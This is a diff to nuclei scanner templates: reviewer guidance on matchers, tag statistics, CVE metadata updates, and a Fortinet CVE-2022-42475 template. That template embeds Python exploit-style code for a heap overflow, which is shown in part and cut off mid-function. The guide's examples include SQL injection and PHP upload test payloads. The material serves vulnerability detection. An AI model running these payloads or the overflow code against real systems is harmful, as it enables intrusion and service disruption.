+## Reviewer Action Templates
+
+### **For Metadata Improvements**
+```
+Please enhance the template metadata:
+- Add `shodan-query` for asset discovery: `[suggested query]`
+- Include `fofa-query` for alternative search: `[suggested query]`  
+- Verify `classification` fields are complete
+- Ensure `verified: true` with debug data if tested
+```
+
+### **For Weak Matchers**
+```
+The current matchers may produce false positives. Please:
+- Add application-specific identifiers (exact titles, unique elements)
+- Include version validation for vulnerable ranges only
+- Verify exploitation proof rather than just version detection
+- Test against [specific non-vulnerable scenarios]
+```
+
+### **For Severity Issues**
+```
+Severity should be [X] based on CVSS impact:
+- Attack Vector: [Network/Adjacent/Local/Physical]
+- Impact: [Complete/Partial/None] for CIA triad
+- Required Privileges: [None/Low/High]
+- Reference CVSS calculator: [link]
+```
+
+### **For Missing References**
+```
+Please add comprehensive references:
+- Original vulnerability disclosure/advisory
+- Technical analysis or exploitation details  
+- Official vendor security bulletin (if available)
+- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
+```
+
+### **For Missing Vulnerability Discoverer Attribution**
+```
+Please credit the original vulnerability discoverer in the author field:
+- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
+- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
+- Include original disclosure/research reference
+- Ensure proper credit for both template creator AND vulnerability researcher
+```
+
+---
+
+## Quality Standards & Goals
+
+### **Template Accuracy Goals**
+- **False Positive Rate:** <2% (verified through community feedback)
+- **Detection Coverage:** 95%+ for vulnerable instances
+- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
+
+### **Review Consistency Standards**
+- **Response Time:** Initial review within 48 hours
+- **Feedback Quality:** Specific, actionable guidance with examples
+- **Approval Criteria:** All quality checks pass, tested when possible
+
+### **Community Impact**
+- **Contribution Quality:** Monitor improvement patterns in repeat contributors
+- **Review Effectiveness:** Track issues caught in review vs. post-merge
+- **Knowledge Transfer:** Successful elevation of community template quality
+
+---
+
+## Advanced Review Techniques
+
+### **Template Testing Environment Setup**
+```bash
+# Recommended testing workflow
+nuclei -t new-template.yaml -target vulnerable-lab.com -debug
+nuclei -t new-template.yaml -target patched-system.com -debug
+nuclei -t new-template.yaml -list target-variety.txt -silent
+```
+
+### **Vulnerability Context Research**
+1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
+2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements  
+3. **Community Disclosure Analysis:** Check for additional context or limitations
+4. **Exploit Database Validation:** Compare detection approach with known exploits
+
+### **Review Documentation Standards**
+- Document testing methodology in PR comments
+- Provide specific improvement suggestions with examples
+- Reference similar high-quality templates as comparison
+- Explain security rationale for matcher requirements
+
+---
+
+## Practical Examples by Vulnerability Type
+
+### **SQL Injection Templates**
+```yaml
+# WRONG - Generic database errors (match many systems)
+matchers:
+  - type: word
+    words:
+      - "mysql_fetch"
+      - "SQL syntax"
+
+# RIGHT - Specific to vulnerability context
+matchers:
+  - type: word
+    words:
+      - "mysql_fetch_array(): supplied argument"    # Specific error pattern
+      - "WHERE id='1' OR '1'='1'"                   # Injection payload context
+      - "users table does not exist"                # Application-specific error
+    part: body
+    condition: and
+```
+
+### **RCE Templates**
+```yaml
+# WRONG - Generic command output
+matchers:
+  - type: word
+    words:
+      - "root"
+      - "/bin/bash"
+
+# RIGHT - Command execution in vulnerability context
+matchers:
+  - type: regex
+    regex:
+      - 'uid=0\(root\) gid=0\(root\) groups=0\(root\)'  # Complete whoami output
+    part: body
+  - type: word
+    words:
+      - "nuclei_rce_test_{{rand_base(6)}}"               # Unique payload identifier
+    part: body
+```
+
+### **File Upload Vulnerabilities**
+```yaml
+# WRONG - Generic file upload success
+matchers:
+  - type: word
+    words:
+      - "uploaded successfully"
+      - "file saved"
+
+# RIGHT - Vulnerability-specific upload validation
+matchers:
+  - type: word
+    words:
+      - "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/"  # Specific path + file
+      - "File permissions: 644"                                      # System response
+      - "<?php echo 'nuclei_upload_test'; ?>"                       # File content verification
+    part: body
+    condition: and
+```
+
+---
+
+## Multi-Layer Matcher Strategy
+
+```yaml
+# Use multiple verification layers
+matchers-condition: and
+matchers:
+  - type: word           # Layer 1: Identify the application
+    words:
+      - "VulnApp Management Console"
+    part: body
+    
+  - type: regex          # Layer 2: Confirm vulnerable version
+    regex:
+      - 'Version: [1-2]\.[0-5]\.[0-9]'
+    part: body
+    
+  - type: word           # Layer 3: Verify vulnerability exists
+    words:
+      - "debug_info_exposed"
+      - "configuration_leak"
+    part: body
+    condition: or
+```
+
+---
+
+*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3288},{"name":"panel","count":1342},{"name":"xss","count":1257},{"name":"wordpress","count":1181},{"name":"exposure","count":1107},{"name":"wp-plugin","count":1032},{"name":"osint","count":841},{"name":"tech","count":803},{"name":"rce","count":786},{"name":"lfi","count":777},{"name":"misconfig","count":758},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":579},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"detect","count":501},{"name":"cve2023","count":489},{"name":"sqli","count":488},{"name":"cve2024","count":473},{"name":"login","count":458},{"name":"unauth","count":439},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":407},{"name":"file","count":377},{"name":"oast","count":285},{"name":"default-login","count":279},{"name":"cve2020","count":277},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":243},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":220},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"auth-bypass","count":191},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":158},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":149},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":143},{"name":"cve2025","count":138},{"name":"security","count":137},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"js","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":68},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"c2","count":61},{"name":"cve2016","count":60},{"name":"detection","count":59},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"vulhub","count":46},{"name":"aem","count":46},{"name":"plugin","count":46},{"name":"cnvd","count":46},{"name":"misc","count":46},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"fortinet","count":43},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"api","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"cti","count":38},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"k8s-cluster-security","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"printer","count":31},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"prestashop","count":29},{"name":"gke","count":29},{"Line truncated
+{"tags":[{"name":"cve","count":3478},{"name":"panel","count":1358},{"name":"vkev","count":1308},{"name":"xss","count":1269},{"name":"wordpress","count":1255},{"name":"exposure","count":1129},{"name":"wp-plugin","count":1097},{"name":"osint","count":848},{"name":"tech","count":817},{"name":"rce","count":812},{"name":"lfi","count":789},{"name":"misconfig","count":779},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"wp","count":642},{"name":"edb","count":599},{"name":"detect","count":597},{"name":"wpscan","count":568},{"name":"packetstorm","count":553},{"name":"cve2021","count":529},{"name":"cve2022","count":527},{"name":"cve2023","count":507},{"name":"sqli","count":500},{"name":"cve2024","count":495},{"name":"login","count":470},{"name":"unauth","count":464},{"name":"intrusive","count":455},{"name":"authenticated","count":440},{"name":"kev","count":408},{"name":"file","count":379},{"name":"network","count":343},{"name":"cve2020","count":297},{"name":"oast","count":297},{"name":"default-login","count":287},{"name":"config","count":259},{"name":"tcp","count":254},{"name":"apache","count":250},{"name":"token-spray","count":247},{"name":"microsoft","count":242},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":205},{"name":"cve2019","count":200},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"iot","count":191},{"name":"azure-cloud-config","count":191},{"name":"cve2025","count":190},{"name":"csp-bypass","count":189},{"name":"cve2018","count":189},{"name":"code","count":182},{"name":"amazon","count":175},{"name":"install","count":168},{"name":"redirect","count":161},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"ftp","count":133},{"name":"router","count":132},{"name":"files","count":126},{"name":"cms","count":125},{"name":"cve2017","count":120},{"name":"phishing","count":119},{"name":"cve2010","count":113},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":98},{"name":"windows-audit","count":90},{"name":"js","count":89},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":85},{"name":"oracle","count":83},{"name":"takeover","count":81},{"name":"file-upload","count":79},{"name":"fileupload","count":77},{"name":"cisco","count":77},{"name":"windows","count":77},{"name":"enum","count":75},{"name":"k8s","count":71},{"name":"adobe","count":68},{"name":"cve2015","count":64},{"name":"detection","count":64},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"cve2016","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"passive","count":59},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":57},{"name":"cve2014","count":54},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"traversal","count":51},{"name":"logs","count":50},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"ssti","count":49},{"name":"aem","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"tenable","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"generic","count":47},{"name":"api","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"miscellaneous","count":44},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"ibm","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"listing","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"xxe","count":37},{"name":"osint-coding","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"graphql","count":35},{"name":"devsecops","count":34},{"name":"lfr","count":34},{"name":"networking","count":34},{"name":"printer","count":34},{"name":"gitlab","count":34},{"name":"fuzz","count":34},{"name":"dns","count":33},{"name":"yonyou","count":32},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"oob","count":31},{"name":"nginx","count":31},{"name":"osint-tLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| cve       |  3478 | dhiyaneshdk   |  1888 | http       |  9205 | info     |  4337 | file |   436 |
+| panel     |  1358 | daffainfo     |   887 | cloud      |   657 | high     |  2536 | dns  |    26 |
+| vkev      |  1308 | princechaddha |   854 | file       |   436 | medium   |  2443 |      |       |
+| xss       |  1269 | dwisiswant0   |   806 | network    |   257 | critical |  1510 |      |       |
+| wordpress |  1255 | ritikchaddha  |   667 | code       |   250 | low      |   329 |      |       |
+| exposure  |  1129 | pussycat0x    |   663 | dast       |   240 | unknown  |    56 |      |       |
+| wp-plugin |  1097 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| osint     |   848 | pdteam        |   312 | javascript |    83 |          |       |      |       |
+| tech      |   817 | pdresearch    |   274 | ssl        |    38 |          |       |      |       |
+| rce       |   812 | iamnoooob     |   262 | dns        |    23 |          |       |      |       |

cloud/gcp/iam/gcloud-service-account-user-keys.yaml

@@ -39,7 +39,7 @@ code:
         name: projectIds
         internal: true
         json:
-          - '.[].projectId'
+          - ".[].projectId"
 
   - engine:
       - sh
@@ -52,7 +52,7 @@ code:
         name: emails
         internal: true
         json:
-          - '.[].email'
+          - ".[].email"
 
   - engine:
       - sh
@@ -63,10 +63,12 @@ code:
     matchers:
       - type: word
         words:
-          - 'KEY_ID'
+          - "USER_MANAGED"
+          - "KEY_ID"
+        condition: or
 
     extractors:
       - type: dsl
         dsl:
           - '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
-# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950

cloud/gcp/storage/gcloud-public-access-prevention-not-enabled.yaml

@@ -39,7 +39,7 @@ code:
         name: projectIds
         internal: true
         json:
-          - '.[].projectId'
+          - ".[].projectId"
 
   - engine:
       - sh
@@ -52,7 +52,7 @@ code:
         name: buckets
         internal: true
         json:
-          - '.[].name'
+          - ".[].name"
 
   - engine:
       - sh
@@ -62,11 +62,13 @@ code:
 
     matchers:
       - type: word
+        negative: true
         words:
-          - 'inherited'
+          - "inherited"
+          - "enforced"
 
     extractors:
       - type: dsl
         dsl:
           - '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
-# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -11,8 +11,9 @@ info:
   metadata:
     verified: true
   classification:
-    epss-score: 0.94462
-  tags: cve,cve2014,openssl,heartbleed,code,kev
+    epss-score: 0.94475
+    epss-percentile: 0.99997
+  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev
 
 variables:
   url: "{{RootURL}}"
@@ -137,4 +138,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022072146a555c1e39921511dd324015ad2f19b58bef855a158d53f18bad4a3068f70221008aea99f59b94f83393eb50e906fb55a005e15f80d20d8502d4a6bbdeea861d8a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022005c234ad505dcfff31f7b855cd76ffc116681b3843b0cfdad17d3676432635cf022004e32d3483bd166c4a4dbd904cdfa0f4c86bf3f31edefa81d5b2432123ab8cd0:922c64590222798bb761d5b6d8e72950

code/cves/2017/CVE-2017-1000353.yaml

@@ -15,8 +15,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2017-1000353
     cwe-id: CWE-502
-    epss-score: 0.94421
-    epss-percentile: 0.99980
+    epss-score: 0.94508
+    epss-percentile: 0.99999
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
   metadata:
     vendor: jenkins
@@ -27,7 +27,7 @@ info:
       - product:"jenkins"
       - x-jenkins
     fofa-query: icon_hash=81586312
-  tags: cve,cve2017,jenkins,rce
+  tags: cve,cve2017,jenkins,rce,vkev,kev
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -104,4 +104,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204bd0b2ca837cc7fcff49335a8d057e484b3d0430109a63044194fe8332c70513022100bdbae48a0c189b9b03abd0b4def5c9c962b1d9c201131d31e8f8a894b5ea6bc6:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
-    epss-score: 0.94436
-    epss-percentile: 0.99974
+    epss-score: 0.94411
+    epss-percentile: 0.99973
   metadata:
     verified: true
     vendor: microsoft
     product: sharepoint
     shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
-  tags: cve,cve2019,sharepoint,microsoft,rce,kev
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -154,4 +154,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 4a0a00473045022100b4400e86f6a613a3fec15c78d78b5eaa02c765fc3cd2a0fedae2a3caf6a640f602206838f019d39312a9e53fa6c5595b7ed095cef565d8599f8a9e20273c38886bbe:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220644adeff1cb77337f79c1710fe524dd045ce7be364a946ff32339fbf7926617002203edd0aa5f9c73dd3a99f3f9e4f0ef9eb263f3392192050b76aea9b74e230da74:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 8.8
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
-    epss-score: 0.84563
-    epss-percentile: 0.99279
+    epss-score: 0.86126
+    epss-percentile: 0.99353
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -47,4 +47,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
-# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220538b4466bffe9de4835b88458bddc82fd08d39b9e70bcadcad6c31800f7231010220042f88ef4eaaba7420a58da79f1738380c1a65a972d735375faf9d74a53a099d:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -16,7 +16,7 @@ info:
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
     epss-score: 0.93121
-    epss-percentile: 0.99755
+    epss-percentile: 0.99786
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
     verified: true
@@ -24,7 +24,7 @@ info:
     product: .net_framework
     shodan-query: 'server:"ms .net remoting"'
     max-request: 1
-  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -102,4 +102,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 4a0a00473045022100cb487f0bd652d387ee37c93aeff51bc10e1ee1685ed827748844380e2a1d224802202681a6f09065aa05fe76062fb4b71a801d269cccb60e095d1a1b782981fdff69:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dc124d919094fe800ea6212134e17dbf21fbfb65e6b751fef413d16c12d010e002203ebb7a8e7ca9a285d1bff9e19b3b4226c6c7ab3cebb5ef3e83e03b9817fbc139:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -10,8 +10,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
-    epss-score: 0.92195
-    epss-percentile: 0.99681
+    epss-score: 0.92022
+    epss-percentile: 0.99691
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html

code/cves/2021/CVE-2021-3156.yaml

@@ -18,13 +18,13 @@ info:
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
     epss-score: 0.92263
-    epss-percentile: 0.99693
+    epss-percentile: 0.9971
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
     vendor: sudo_project
     product: sudo
-  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
+  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev
 
 self-contained: true
 code:
@@ -40,4 +40,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4a0a004730450220156c4b47288c1bd2c345a71670734fd19e48ad7b8e807cf94a55943b470236ae022100b0a5f9dbc02cd24f1b8c73147526a7ad7d50553730b0ecb9325cca9c7b327c6d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100928d66713f184aec97a59a2932240a6fb00a8f50371163757510217fa21067c802205ffca122d2a1a32c70c5bd0bad4a553668cb890491044f6f1945a5af840ffa0c:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -1,8 +1,8 @@
-id: CVE-2024-42475
+id: CVE-2022-42475
 
 info:
   name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
-  author: 0xhaggis,pszyszkowski
+  author: 0xhaggis,pszyszkowski,pussycat0x
   severity: critical
   description: |
     A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
@@ -16,21 +16,44 @@ info:
     - https://fortiguard.com/psirt/FG-IR-22-398
     - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
     - https://bishopfox.com/blog/exploit-cve-2022-42475
+    - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
   classification:
-    epss-score: 0.94003
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
-    cve-id: CVE-2024-42475
-    cwe-id: CWE-122
+    cve-id: CVE-2022-42475
+    cwe-id: CWE-197,CWE-787
+    epss-score: 0.94003
+    epss-percentile: 0.99886
+    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: fortinet
     product: fortios
     shodan-query:
-      - port:10443 http.favicon.hash:945408572
       - cpe:"cpe:2.3:o:fortinet:fortios"
       - http.html:"/remote/login" "xxxxxxxx"
-  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+      - http.favicon.hash:"945408572"
+    fofa-query:
+      - body="/remote/login" "xxxxxxxx"
+      - icon_hash="945408572"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev
+flow: http () && code()
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/login"
+      - "{{BaseURL}}/login"
+
+    stop-at-first-match: true
+    host-redirects: true
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
+          - 'status_code == 200'
+        condition: and
 
 code:
   - engine:
@@ -38,140 +61,140 @@ code:
       - python3
 
     source: |
-      import sys, os, time, socket, ssl
-      PADDING        = 0x4141414141414141
-      PADDING_LEN    = 1024*12
-      CONTENT_LENGTH = b"4294967297"
+        import sys, os, time, socket, ssl
+        PADDING        = 0x4141414141414141
+        PADDING_LEN    = 1024*12
+        CONTENT_LENGTH = b"4294967297"
 
-      class SSLVPNExploit:
-        def __init__(self, host, port):
-          self.host = host
-          self.port = port
-        def connect(self):
-          tries = 1
-          if os.getenv("Scheme") == "https":
-            useSSL = True
-            print("[+] Using SSL/TLS")
-          else:
-            useSSL = False
-            print("[+] Unencrypted connection")
-          while tries <= 6:
+        class SSLVPNExploit:
+          def __init__(self, host, port):
+            self.host = host
+            self.port = port
+          def connect(self):
+            tries = 1
+            if os.getenv("Scheme") == "https":
+              useSSL = True
+              print("[+] Using SSL/TLS")
+            else:
+              useSSL = False
+              print("[+] Unencrypted connection")
+            while tries <= 6:
+              try:
+                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                if useSSL == True:
+                  ctx = ssl._create_unverified_context()
+                  self.socket = ctx.wrap_socket(self.cleartext_socket)
+                else:
+                  self.socket = self.cleartext_socket
+                self.socket.settimeout(2.0)
+                self.socket.connect((self.host, self.port))
+
+                return self.socket
+              except socket.timeout as e:
+                tries += 1
+                print("Connection timeout!")
+                continue
+              except Exception as e:
+                print("Unknown error!")
+                print(e)
+                return None
+            return None
+          def check_by_get(self):
+            get_req = bytearray(b"")
+            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+
+            print("[>] Sending GET first")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
             try:
-              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
-              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-              if useSSL == True:
-                ctx = ssl._create_unverified_context()
-                self.socket = ctx.wrap_socket(self.cleartext_socket)
-              else:
-                self.socket = self.cleartext_socket
-              self.socket.settimeout(2.0)
-              self.socket.connect((self.host, self.port))
+              self.socket.sendall(get_req)
 
-              return self.socket
+              self.socket.settimeout(10)
+              get_buf = self.socket.recv(1048576)
+
+              if len(get_buf) == 0:
